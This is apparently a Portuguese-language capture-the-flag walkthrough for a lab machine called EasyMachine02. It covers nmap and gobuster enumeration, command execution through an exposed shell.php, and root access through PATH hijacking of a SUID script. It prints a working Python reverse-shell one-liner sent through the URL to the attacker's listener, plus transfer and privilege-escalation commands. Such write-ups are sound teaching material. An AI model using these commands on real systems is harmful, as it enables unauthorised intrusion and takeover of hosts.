EasyMachine02

IP: 10.0.0.30

Enumeration

# nmap -sC -sV -v -Pn 10.0.0.30      
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-25 10:01 -03
.......................................
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: LINUX

Host script results:
|_clock-skew: mean: 1h20m02s, deviation: 2h18m34s, median: 2s
| nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   LINUX<00>            Flags: <unique><active>
|   LINUX<03>            Flags: <unique><active>
|   LINUX<20>            Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUX\x00
|   Domain name: \x00
|   FQDN: osboxes
|_  System time: 2021-09-25T09:01:45-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-25T13:01:45
|_  start_date: N/A

Vemos que na porta 80 há um apache:

Vamos rodar um crawler para checar se existe algum site específico:

# gobuster dir -e -u http://10.0.0.30 -w /usr/share/wordlists/dirb/big.txt

Não achamos nada relevante, mas vamos verificar se é possível encontrar algum arquivo interessante com extensão .php

# gobuster dir -e -u http://10.0.0.30 -w /usr/share/wordlists/dirb/big.txt -x .php 

Agora sim! Encontramos o arquivo shell.php. Vamos acesso no browser:

http://10.0.0.30/shell.php

Repare que ele vai apenas printar na tela o parâmetro.

Vamos testar a possibilidade de usá-lo como parametro de URL para passar comandos:

http://10.0.0.30/shell.php?HS=uname -a

Agora ficou fácil. Temos aqui um RCE (remote command execution).

Exploração

Vamos deixar uma porta ouvindo em nosso linux:

# nc -nvlp 443

Vamos pegar um código de shell reverso para linux aqui: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md

E agora fechar uma shell reversa via URL (não esquece de adequar o SEUIP e porta 443:

http://10.0.0.30/shell.php?HS=export RHOST="SEUIP";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Pronto! Temos uma shell reversa.

Pós Exploração

Basta pegar a primeira flag no /home/hasckersec/user.txt

b15784898189c7f3f3659dXXXXXXXXXXX

Para conseguir a flag do root, vamos precisar escalar privilégios, pois no momento só temos shell de usuário limitado.

$ cat /etc/os-release
cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

$ uname -a
uname -a
Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Temos aqui um Ubuntu 18.04.2 com kernel 4.15.0-45

Vou baixar no meu kali o linux exploit suggestor:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

Vou criar um pseudo servidor web em Python apenas para realizar a transferência do script para a máquina alvo (importante familiaridade com este conceito):

# python3 -m http.server 80

Agora, na máquina alvo, basta baixar o arquivo (lembre de adequar seu IP):

$ wget http://172.29.34.50/les.sh

Não esque de dar permissão de execução para todo script bash antes de rodá-lo:

chmod +x ./les.sh

Poderíamos tentar rodar algum destes exploit públicos, mas antes, vamos checar se existe algum caminho mais óbvio. Vamos procurar por arquivos que o sistema permite rodar com permissões de root:

$ find / -perm  -4000 2>/dev/null
find / -perm  -4000 2>/dev/null
.............
/bin/umount
/bin/fusermount
/home/ctfdohs/script

Ele encontrou diversos arquivos, dentre ele o /home/ctfdohs/script

Ao olhar seu conteúdo, veremos que ele roda o comando do sistema "ls" como root.

Vamos até a pasta /tmp e criar um arquivo chamado ls que chame um bash. Basta rodar o seguinte comando:

$ echo "/bin/bash" > ls

Vamos então ajustar a variável PATH deste usuário comum para que ele sempre busque comandos no diretório /tmp. Desta forma, ao rodar o comando ls, ao invés de buscar no /bin/ls que possui apenas permissões básicas, ele vai buscar nosso comando ls na pasta /tmp sempre que rodarmos ele a partir do script /home/ctfdohs/script:

$ export PATH=/tmp/:$PATH

Agora basta navegar até a pasta /home/ctfdohs e rodar:

$ cd /home/ctfdohs
cd /home/ctfdohs
$ ./script
./script
Welcome to Linux Lite 4.4
 
You are running in superuser mode, be very careful.
 
Thursday 22 April 2021, 22:59:54
Memory Usage: 525/962MB (54.57%)
Disk Usage: 5/217GB (3%)

Feito, agora somos root!!!!

Last updated